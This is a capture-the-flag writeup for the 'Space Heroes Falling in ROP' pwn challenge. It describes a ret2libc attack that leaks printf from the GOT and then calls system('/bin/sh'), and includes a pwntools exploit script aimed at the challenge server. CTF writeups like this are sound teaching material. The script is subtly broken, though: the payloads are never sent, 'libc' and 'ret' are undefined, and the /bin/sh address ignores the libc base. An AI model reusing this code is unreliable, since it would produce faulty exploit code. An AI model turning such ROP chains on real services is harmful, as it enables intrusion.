Tags: pwn rop 


# Space Heroes Falling in ROP Writeup

## Introduction
In this writeup, I'll explain the process of exploiting the "Space Heroes Falling in ROP" challenge in the Pwn category. The goal was to retrieve the flag by exploiting a vulnerability in the provided binary.

## Initial Analysis
First, let's analyze the binary. We notice that there's no PIE (Position Independent Executable) protection, which means that addresses remain constant across different executions.

## Exploitation Strategy
1. **Leaking `printf` Address**: We'll use the `printf` function to leak addresses from the Global Offset Table (GOT). We'll overwrite the return address with the `main` function to loop back to the beginning of the program after the first payload.
2. **Finding libc Version**: With the leaked `printf` address, we can determine the libc version being used. We found the libc version to be `libc6_2.35-0ubuntu3.4_amd64`.
3. **Calculating `system` and `/bin/sh` Addresses**: Using the libc version, we find the addresses of the `system` function and the string `/bin/sh`.
4. **Launching Shell**: Finally, we construct the final payload to call `system("/bin/sh")`.

## Exploitation Code
from pwn import *

p = remote("spaceheroes-falling-in-rop.chals.io", 443, ssl=True, sni="spaceheroes-falling-in-rop.chals.io")

context.binary = binary = './falling.bin'
elf = ELF(binary, checksec=False)
rop = ROP(elf)

pop_rdi = p64(rop.find_gadget(['pop rdi', 'ret'])[0])

padding = b'A'*88

# Payload to leak printf address
payload = padding + pop_rdi + p64(elf.got.printf) + p64(elf.plt.puts) + p64(elf.symbols.main)
p.recvuntil(b"who you are: ")

leaked_printf = u64(p.recvline().strip().ljust(8, b'\x00'))

# Calculate libc base address and system/bin/sh addresses
libc_base = leaked_printf - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))

# Payload to launch shell
payload = padding + ret + pop_rdi + p64(bin_sh_addr) + p64(system_addr)
p.recvuntil(b"who you are: ")